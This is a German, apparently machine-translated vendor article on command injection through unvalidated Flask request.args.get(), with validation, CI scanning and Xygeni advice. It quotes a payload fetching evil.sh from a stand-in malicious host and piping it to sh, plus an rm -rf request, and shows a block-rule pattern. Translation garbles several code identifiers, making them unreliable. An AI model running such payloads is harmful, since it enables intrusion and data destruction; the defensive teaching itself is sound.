Die Falle ist gestellt: Wie request.get() die Tür öffnet
Im Jahr 2023 setzte ein Fintech-Startup eine interne Flask-basierte dashboard Dadurch konnten DevOps-Mitarbeiter Infrastrukturaufgaben remote auslösen. Eine der Routen verwendete request.args.get(„cmd“), um einen Shell-Befehl aus der Abfragezeichenfolge abzurufen und ihn direkt an einen Systemaufruf zu übergeben.
Dies schien sicher, da man davon ausging, dass nur vertrauenswürdige Benutzer auf die internen dashboardAufgrund eines falsch konfigurierten Reverse-Proxys war der Dienst jedoch mehrere Stunden lang öffentlich zugänglich. Während dieser Zeit wurde der Endpunkt von automatisierten Scannern erkannt.
Angreifer nutzten dies schnell aus, indem sie eine manipulierte Anfrage wie ?cmd=curl+http://malicious.site/evil.sh|sh, was zur Remotecodeausführung (RCE) führte. Von dort aus griffen sie auf Metadaten und Anmeldeinformationen der AWS-Instanz zu, was zur Datenexfiltration und Rechteausweitung führte.
Dies war kein ausgeklügelter Angriff; er wurde ausschließlich durch nicht validierte Eingaben von request.get() ermöglicht. Die Anwendung verfügte weder über eine Authentifizierung noch über eine Eingabebereinigung. Schlimmer noch: Keine statischen Analysetools erkannten das Risiko, da das Team davon ausging, dass die App aufgrund ihres rein internen Kontexts sicher sei.
In diesem Artikel geht es nicht darum, wie man solche Schwachstellen ausnutzt. Sein Zweck besteht darin, Entwicklern zu helfen, dieses unsichere Muster zu erkennen, die Risiken zu verstehen und sichere Codierungspraktiken anzuwenden, um ähnliche Vorfälle zu verhindern.
Exploit in Aktion: Eine Flask-App, die durch Eingabe beschädigt wird
In diesem Abschnitt präsentieren wir eine minimale Flask-App, die zeigt, wie schnell etwas schiefgehen kann, wenn Anfrage.get() wird ohne Validierung verwendet. Die Einfachheit dieses Beispiels unterstreicht die Gefahr: Schon wenige Zeilen unsicheren Codes können Ihr System ernsthaften Bedrohungen aussetzen.
Dieser Endpunkt nimmt eine cmd Parameter aus der Anfrage und übergibt ihn direkt an os.system(), wodurch jeder, der auf den Endpunkt zugreifen kann, beliebige Systembefehle ausführen kann. Keine Eingabeprüfungen, keine Eingabebereinigung, keine guardrails. Dies ist ein Paradebeispiel dafür, wie Benutzereingaben nicht behandelt werden sollten.
Da keine Validierung vorhanden ist, können Angreifer dies ausnutzen, indem sie gefährliche Shell-Befehle direkt in der Abfragezeichenfolge übergeben. Beispielsweise kann eine einfache Anfrage wie curl 'http://localhost:5000/run?cmd=rm+-rf+/some/dir' könnte kritische Verzeichnisse löschen. Der Befehl wird so ausgeführt, wie er ist, ohne Filterung, was dem Angreifer Remote-Codeausführung (RCE) Funktionen.
Die wahre Gefahr besteht darin, wie unbemerkt diese Sicherheitslücke durch die Entwicklung geht pipelines. Da es keine Statische Analysewerkzeuge konfiguriert, um unsichere Muster wie nicht bereinigte Anfrage.get(), und da man davon ausging, dass der Endpunkt nur intern verwendet wurde, wurde das Problem bei der Codeüberprüfung nicht gemeldet. Dieser häufige blinde Fleck bei DevOps – das Vertrauen in interne Umgebungen und das Überspringen der Validierung aus Geschwindigkeitsgründen – führte dazu, dass eine kritische Sicherheitslücke unentdeckt in die Produktion gelangte.
Wo alles schiefgeht: Häufige Fallstricke für Entwickler
Viele schwerwiegende Schwachstellen in Flask-Anwendungen entstehen nicht durch komplexe Logik, sondern durch einfache, wiederholte Fehler. Wenn Entwicklungsgeschwindigkeit Vorrang vor Sicherheit hat, werden bestimmte riskante Muster zur Normalität, oft ohne dass sich die Entwickler der langfristigen Folgen bewusst sind.
Hier sind die häufigsten Fehler:
- Die Verwendung von Anfrage.get() ohne Validierung oder Standardwerte
Entwickler verwenden oft Anfrage.Argumente.Get() um schnell Parameter aus einer Anfrage zu extrahieren. Ohne Standardwerte oder Validierung führt dies zu unvorhersehbarem Verhalten, wie z. B. der Übergabe Keine Präsentation in die Logik oder das Zulassen unverschlüsselter Benutzereingaben in gefährliche Operationen.
- Externen Eingaben ohne Kontrolle vertrauen
Ob die Eingabe aus einem öffentlichen Formular, einem API-Gateway oder einem internen dashboard, muss es als nicht vertrauenswürdig behandelt werden. Anzunehmen, es sei sicher, nur weil es sich hinter einem VPN befindet oder von internen Teams verwendet wird, ist ein schwerwiegender Fehleinschätzung. - Delegieren der Sicherheit an Bibliotheken von Drittanbietern ohne Überprüfung des Verhaltens
Bibliotheken können zwar Funktionen abstrahieren, sollten aber nicht blind auf die Gewährleistung der Sicherheit vertrauen. Machen Sie sich stets mit deren Eingabeverarbeitung vertraut und binden Sie bei Bedarf externen Code in Ihre Validierungsebenen ein. - Keine Typdefinitionen oder Eingabevalidierung in Routenhandlern
Flask ermöglicht dynamische Typisierung und flexible Anfrageverarbeitung, was jedoch schnell zu Fehlern oder Injektionsfehlern führen kann. Ohne explizite Typdurchsetzung und Schemavalidierung können unerwartete Eingaben die Logik umgehen oder nachgelagerte Dienste beschädigen.
Diese Fehler entstehen oft durch den Druck, schnell zu handeln, eine Funktion live zu bringen oder einen Fix bereitzustellen. Doch jede Abkürzung beeinträchtigt die Sicherheit Ihrer Anwendung. Sichere Programmierung muss die standard, keine Ausnahme.
Warum request.get() standardmäßig riskant ist
Auf einen Blick, Anfrage.get(), einschließlich seiner Varianten wie Anfrage.Argumente.Get() und Anfrage.Formular.Get(), scheint harmlos und bequem. Doch hinter dieser Einfachheit verbirgt sich eine gefährliche Annahme: dass eingehende Daten vertrauenswürdig sind.
Diese Annahme ist falsch. Unabhängig davon, ob Sie eine öffentliche API oder ein internes Tool erstellen, müssen Client-Inputs immer als nicht vertrauenswürdig behandelt werden. Doch in vielen Entwicklungsteams, insbesondere bei der Arbeit mit Microservices oder internen dashboards besteht die Tendenz, die Validierung zu überspringen, „weil sie intern ist“. Diese Denkweise öffnet die Tür für kritische Schwachstellen.
Warum das riskant ist
- Keine Typdurchsetzung: Anfrage.get() Gibt die Daten unverändert zurück. Typ, Format oder das Vorhandensein erforderlicher Felder werden nicht überprüft.
- Stille Ausfälle: Wenn ein Schlüssel fehlt, wird er zurückgegeben Keine Präsentation, was häufig zu unbeabsichtigtem Verhalten oder logischen Fehlern im weiteren Verlauf führt.
- Keine Filterung: Schädliche Eingaben werden nicht entfernt oder bereinigt, sodass Ihre App anfällig für Injektionsangriffe bleibt.
Die Illusion innerer Sicherheit
In Umgebungen mit vielen Microservices oder Tools hinter VPNs verlassen sich Entwickler häufig auf Infrastrukturgrenzen als primäre Verteidigung. Dies führt zu einem falschen Sicherheitsgefühl. Fehlkonfigurationen, durchgesickerte Anmeldeinformationen oder ein offener Dienst können schnell dazu führen, dass aus einem „nur internen“ Dienst ein „öffentlich ausnutzbarer“ wird. Anfrage.get() ist nicht das Problem; blindes Vertrauen ist es. Ohne Eingabevalidierung geben Sie Angreifern einen direkten Zugang zur Logik Ihrer Anwendung und möglicherweise zu Ihrer Infrastruktur.
Sichern Sie den Flow: Benutzereingaben richtig validieren
Der Grundstein der Flask-Sicherheit ist einfach: Verarbeiten Sie niemals Eingaben ohne strukturierte Validierung. Alle Daten, die Ihre Anwendung empfängt, ob von Abfrageparametern, Formularen oder APIs, müssen als nicht vertrauenswürdig behandelt und vor der Verwendung streng validiert werden.
Empfohlene Bibliotheken zur Eingabevalidierung
Das Python-Ökosystem bietet mehrere ausgereifte Bibliotheken, die auf die Validierung von Anforderungsdaten zugeschnitten sind:
- Marshmallow – Ideal zum Definieren von Schemata und Deserialisieren von Daten.
- Pydantik – Bekannt für typsichere Modelle; wird häufig in FastAPI verwendet, funktioniert aber auch gut in Flask.
- WTForms – Ideal für die Formularverarbeitung und -validierung in herkömmlichen Web-Apps.
Mit diesen Tools können Sie Struktur, Typen und Einschränkungen der Benutzereingaben einfach definieren und durchsetzen.
Was zu validieren ist
- Zu den Arten: Stellen Sie sicher, dass Ganzzahlen Ganzzahlen, Zeichenfolgen Zeichenfolgen und Boolesche Werte Boolesche Werte sind.
- Reichweiten und Längen: Legen Sie Grenzen für Zahlen fest und erzwingen Sie Mindest- und Höchstlängen für Zeichenfolgen.
- Pflichtfelder: Erfordert explizit das Vorhandensein bestimmter Parameter.
- Patterns: Verwenden Sie reguläre Ausdrücke, um erwartete Formate wie E-Mails, Token oder Dateinamen zu validieren.
Beispiel mit Marshmallow:
python
from marshmallow import Schema, fields, ValidationError
class CommandSchema(Schema):
cmd = fields.String(required=True)
schema = CommandSchema()
@app.route('/run')
def run():
try:
args = schema.load(request.args)
safe_cmd = sanitize_cmd(args['cmd']) # whitelist-based sanitation
os.system(safe_cmd)
except ValidationError as e:
return str(e), 400
Wiederverwendbare Dekoratoren für sauberen Code
Sie können Dekoratoren erstellen, um die Validierung konsistent über mehrere Routen hinweg anzuwenden:
python
def validate_with(schema):
def decorator(f):
def wrapped(*args, **kwargs):
try:
validated = schema.load(request.args)
return f(validated, *args, **kwargs)
except ValidationError as e:
return str(e), 400
return wrapped
return decorator
Fazit
Strukturierte Validierung ist nicht optional, sondern unerlässlich. Vertrauen Sie niemals Rohdaten, auch nicht in internen Systemen. Verwenden Sie immer Schemata, überprüfen Sie Typen und Formate und bereinigen Sie Ihre Daten immer.
DevSecOps-Korrekturen: Pipeline Security, Nach links verschieben
Sicherheit sollte nicht erst in der Produktion beginnen, sondern bereits beim Schreiben des Codes. Dies ist das Kernprinzip hinter dem „„Shift Left“-Bewegung: Erkennen von Sicherheitsproblemen frühzeitig im Entwicklungslebenszyklus, bevor sie die Laufzeit erreichen.
Erzwingen Sie Sicherheit von Anfang an Commit
Um die riskante Verwendung von request.get() und ähnlichen Mustern effektiv zu erkennen, integrieren Sie die Sicherheit direkt in Ihre CI/CD pipeline. Hier ist wie:
- Speichern SAST Regeln (Statische Anwendungssicherheitstests) zu Ihrem Workflow. Diese Regeln können gefährlichen Code erkennen, wie z. B. nicht bereinigte request.get()-Aufrufe, die an Systemfunktionen übergeben werden.
- Automatisieren Sie Prüfungen mit Tools wie Bandit, Semgrep oder benutzerdefinierten Skripten. Führen Sie sie als Teil von GitHub Actions, GitLab CI oder Bitbucket aus. Pipelines.
- Definieren Sie benutzerdefinierte Richtlinien, um unsichere Praktiken wie die Verwendung von request.args.get() ohne Validierung zu kennzeichnen.
Blockieren Sie Fusionen, die Risiken mit sich bringen
Code, der die Validierungsprüfungen nicht besteht, sollte nicht zusammengeführt werden dürfen. Die Verhinderung anfälliger commits werden zusammengeführt, was die Sicherheitsdisziplin in allen Teams stärkt und zur Schaffung einer Kultur der Verantwortlichkeit beiträgt.
jobs:
secure-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Run Bandit
run: bandit -r app/ -ll
Durch die Einbettung automatisierter Sicherheitsanalysen in Ihre pipelinefangen Sie Probleme sofort ab, wenn sie auftreten, und nicht erst, wenn sie bereits live sind. Dies reduziert Risiken, spart Zeit und hilft Teams, Flask-Apps sicher bereitzustellen.
Vertrauen Sie nicht dem Paket: Risiko durch Dritte
Während Bibliotheken von Drittanbietern können die Produktivität steigern, sie können auch unbemerkt Sicherheitslücken einführen, insbesondere bei der Eingabeverarbeitung.
Echte Risiken durch unsichere Pakete
Es gab Fälle, in denen vertrauenswürdige Bibliotheken im Hintergrund unsichere Operationen ausführten, beispielsweise das Lesen von Benutzereingaben mit request.get() und deren direkte Übergabe an Funktionen wie eval(), open() oder Systembefehle. Diese Fehler verbergen sich oft hinter Abstraktionsebenen und sind daher bei Codeüberprüfungen schwerer zu erkennen.
Beispielsweise verwendete ein Dienstprogramm zur Optimierung von Datei-Uploads nicht bereinigte Abfrageparameter zum Erstellen von Dateipfaden, ein Muster, das zu Pfaddurchquerungen und nicht autorisiertem Dateizugriff einlud.
Transitive Abhängigkeiten: Die versteckte Bedrohung
Auch wenn Ihre direkten Abhängigkeiten sicher sind, transitive Abhängigkeiten möglicherweise nicht. Dies sind Pakete, von denen Ihre Bibliotheken abhängen, und sie können ohne Ihr Wissen riskantes Verhalten mit sich bringen Eine kleine Aktualisierung einer Abhängigkeit tief in Ihrem Stack kann zu einer unsauberen Verwendung von request.get() an Stellen führen, die Sie nicht kontrollieren. Dieses Risiko vervielfacht sich bei Microservices und internen Tools, die stark auf kleinere Nischenbibliotheken angewiesen sind.
Was ist zu tun?
- Überprüfen Sie regelmäßig Abhängigkeiten, auch transitive.
- Verwenden Sie Tools wie Pip-Audit, Safety oder GitHub Dependabot, um nach bekannten Schwachstellen zu suchen.
- Überprüfen Sie manuell, wie externe Pakete mit Benutzereingaben umgehen, insbesondere wenn sie mit Routen oder Anforderungsparametern interagieren.
Gehen Sie niemals davon aus, dass ein Paket, egal wie klein oder bekannt, Ihre Sicherheit erhöht standards. Validieren Sie Eingaben aus externen Quellen immer, bevor sie in Ihre Anwendungslogik gelangen.
Entwicklerhygiene: DevSecOps-Ausbildung und -Kultur
Bei der Entwicklung sicherer Anwendungen geht es nicht nur um Tools, sondern auch um die Unternehmenskultur. Teams müssen Sicherheit als Teil ihrer Entwicklungsidentität verinnerlichen. Das bedeutet, sicheres Programmieren, insbesondere die Eingabevalidierung, zu einem unverzichtbaren Bestandteil jedes Workflows zu machen.
Machen Sie die Eingabevalidierung zu einem Teil der Codeüberprüfungen
Bei jeder Codeüberprüfung sollte gefragt werden:
- Werden Benutzereingaben validiert?
- Sind Schemata oder Typprüfungen vorhanden?
- Werden Rohdaten an die Logik oder Befehle übergeben?
Durch die Förderung dieser Überprüfungen im Rahmen von Peer-Reviews wird eine Denkweise gefördert, bei der Sicherheit die Aufgabe aller ist, nicht nur die des Sicherheitsteams.
Definieren Sie sichere Codierungsrichtlinien für Flask-APIs
Legen Sie interne Richtlinien fest, die Folgendes festlegen:
- So verarbeiten Sie Anforderungseingaben (vertrauen Sie request.get() niemals ohne Validierung)
- Wann und wie man Bibliotheken wie Marshmallow oder Pydantic verwendet
- Anforderungen für die Verwendung von Dekoratoren und Schemavalidierung in Routen
Machen Sie diese Richtlinien zu einem Teil Ihrer Einarbeitung und Dokumentation.
Tools zum Erkennen unsicherer Muster
Nutzen Sie die Automatisierung, um riskante Muster frühzeitig und konsequent zu erkennen:
- Linters: Tools wie flake8, pylint oder ruff können mit Plugins erweitert werden, um den Missbrauch von request.get() zu erkennen.
- Pre-commit hooks: Automatisches Scannen nach gefährlichen Mustern, bevor der Code überhaupt committed.
- Statische Analysatoren: Tools wie Bandit, Xygeni oder Semgrep können unsichere Eingabeverarbeitung, fehlende Validierung oder unsichere Datenflüsse kennzeichnen.
Bauen Sie die Kultur auf
Sicherheit ist nicht nur technisch, sondern auch verhaltensbezogen. Wenn Validierung zur Selbstverständlichkeit wird, wenn bei Überprüfungen die Sicherheit im Vordergrund steht und wenn Werkzeuge standards automatisch, Ihr Team wird durch Design belastbar.
Xygeni: Wie es diese Probleme verhindert
Xygeni hilft, diese Tür zu schließen, sobald der Code geschrieben wird. Es handelt sich um eine Sicherheitsautomatisierungsplattform, die gefährliche Muster, wie die unsanierte Verwendung von request.get(), bereits im ersten commit.
Früherkennung durch Design
Xygeni scannt jeden commit und pull request um die unsichere Verwendung von request.get() und ähnlichen Anti-Patterns zu identifizieren. Es kennzeichnet Fälle, in denen Eingaben nicht validiert werden, bevor sie an kritische Funktionen wie os.system, eval oder Dateioperationen übergeben werden.
Dieser proaktive Ansatz stellt sicher, dass riskanter Code niemals unbemerkt in die Produktion gelangt.
Unsichere Zusammenführungen automatisch blockieren
Über die Erkennung hinaus ermöglicht Xygeni Teams die Durchsetzung von Richtlinien, die das Zusammenführen von unsicherem Code verhindern. Diese Richtlinien sind anpassbar, sodass Organisationen basierend auf ihrer internen Flask-Sicherheit definieren können, was akzeptabel ist und was nicht. standards.
Muster: „Anfrage\.args\.get\(['\”]\w+['\”]\)“
Bedingung: „wird in os\.system oder open() oder exec() verwendet“
Aktion: "Block"
fließende CI/CD Integration
Xygeni lässt sich mühelos in Plattformen wie die folgenden integrieren:
Egal, ob Sie Cloud-basiertes CI oder selbst gehostetes pipelines, Xygeni fügt sich ohne Unterbrechung in Ihren Arbeitsablauf ein und setzt die Flask-Sicherheitsrichtlinien konsistent in jedem Repo durch.
Durch die Einbettung von Sicherheitsprüfungen direkt in Ihre Entwicklung pipelineXygeni stellt sicher, dass unsichere Muster frühzeitig erkannt, schnell überprüft und behoben werden, bevor sie Schaden anrichten.
Letzter Schlag: Saubere Eingabe oder Kompromisse
Es ist wichtig zu betonen: Dies ist nicht nur ein Flask-Sicherheitsproblem. Das Kernproblem besteht darin, Benutzereingaben zu vertrauen, unabhängig vom Framework oder der Umgebung.
Nicht validierte Eingaben stellen einen universellen Bedrohungsvektor dar. Sie führen zur Remote-Codeausführung, zu Datenlecks, zur Ausweitung von Berechtigungen und letztlich zum Verlust der Kontrolle über Ihre Systeme. Deshalb muss die Validierung in allen Entwicklungsprozessen höchste Priorität haben. Alles validieren. Nichts voraussetzen. Immer bereinigen.
Validierung ist nicht optional. Sie ist kein „nice to have“. Sie ist ein unverzichtbarer Bestandteil sicherer Softwareentwicklung. Wenn Sie Eingaben nicht validieren, ist das so, als würden Sie in einer gefährlichen Gegend Ihre Haustür offen lassen; irgendwann wird jemand hereinkommen.
Unabhängig davon, ob Sie APIs für die öffentliche Nutzung oder interne Dienste hinter VPNs erstellen, müssen Eingaben validiert und bereinigt werden. Jeder Parameter, jedes Formularfeld, jede Abfragezeichenfolge, immer.
Die in diesem Artikel beschriebenen Best Practices, schemabasierte Validierung, statische Codeanalyse, sichere pipelines und kulturelle Hygiene sind unerlässlich, um den Missbrauch von request.get() und ähnlichen unsicheren Mustern zu verhindern.
